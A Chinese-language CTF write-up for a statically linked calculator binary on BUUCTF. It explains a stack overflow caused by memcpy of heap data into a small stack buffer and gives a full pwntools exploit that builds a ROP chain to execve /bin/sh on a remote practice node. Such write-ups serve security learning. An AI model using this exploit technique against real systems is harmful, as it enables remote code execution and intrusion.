先看漏点:
正常情况下,5退出直接return 0或者free再return就行了,这里还有个memcpy,v29是堆指针,v26在栈内。v26的定义是rbp-40h 64位系统写8个qword就到一般rbp后边就是ret而允许写的数是0x100/2个,明显的溢出,只需要写9个然后写rop即可。
char v26[40]; // [rsp+10h] [rbp-40h] BYREF
.......
case 1:
adds((__int64)"%d", (int)&v27, v22, v23, v24, v25);
v14 = (_DWORD *)(v29 + 4LL * i);
*v14 = dword_6C4A88;
break;
case 2:
subs((__int64)"%d", (int)&v27, v22, v23, v24, v25);
v14 = (_DWORD *)(v29 + 4LL * i);
*v14 = dword_6C4AB8;
break;
case 3:
muls((__int64)"%d", (int)&v27, v22, v23, v24, v25);
v14 = (_DWORD *)(v29 + 4LL * i);
*v14 = dword_6C4AA8;
break;
case 4:
divs((__int64)"%d", (int)&v27, v22, v23, v24, v25);
v14 = (_DWORD *)(v29 + 4LL * i);
*v14 = dword_6C4A98;
break;
case 5:
memcpy(v26, v29, 4 * v28); // 将堆的内宾复制到栈中,导致栈溢出
free(v29);
return 0;
default:
v13 = "Invalid option.\n";
puts("Invalid option.\n");
break;
系统用的是静态编译,程序很长,里边有能找到的所有元素pop 的rdi,rax,rsi,rdx,只是/bin/sh有点麻烦,需要自己写。这里用execve的话rdi需要指向/bin/sh而并不知道栈地址,所以一个办法就是指rsp,rsp指向的是当前指令的下一个位置只要有一条call后边放/bin/sh 也就是mov rdi,rsp ...syscall; /bin/sh 这里找到一个
0x0000000000492468 : mov rdi, rsp ; call r12
再将r12置为syscall即可
完整exp:
from pwn import *
#p = process('./pwn')
p = remote('node4.buuoj.cn', 28600 )
def write(n):
n += 100
p.sendlineafter(b'=> ', b'2')
p.sendlineafter(b"Integer x: ", str(n & 0xffffffff).encode())
p.sendlineafter(b"Integer y: ", b'100')
p.sendlineafter(b'=> ', b'2')
p.sendlineafter(b"Integer x: ", str((n >> 32) + 100).encode())
p.sendlineafter(b"Integer y: ", b'100')
context.log_level = 'debug'
mov_rdi_rsp_call_r12 = 0x0000000000492468 #: mov rdi, rsp ; call r12
pop_rdx_rsi = 0x0000000000437aa9 #: pop rdx ; pop rsi ; ret
pop_rax = 0x000000000044db34 #: pop rax ; ret
pop_r12 = 0x0000000000400493 #: pop r12 ; ret
syscall = 0x0000000000400488 #: syscall
p.sendlineafter(b"Expected number of calculations: ", b'255')
#rdx=0 rsi=0 rax=0x3b rdi=rsp=/bin/sh r12=syscall
[write(0) for i in range(9)]
write(pop_rdx_rsi)
write(0)
write(0)
write(pop_rax)
write(0x3b)
write(pop_r12)
write(syscall)
write(mov_rdi_rsp_call_r12)
write(int(b'/bin/sh'[::-1].hex(),16))
p.sendlineafter(b'=> ', b'5')
p.interactive()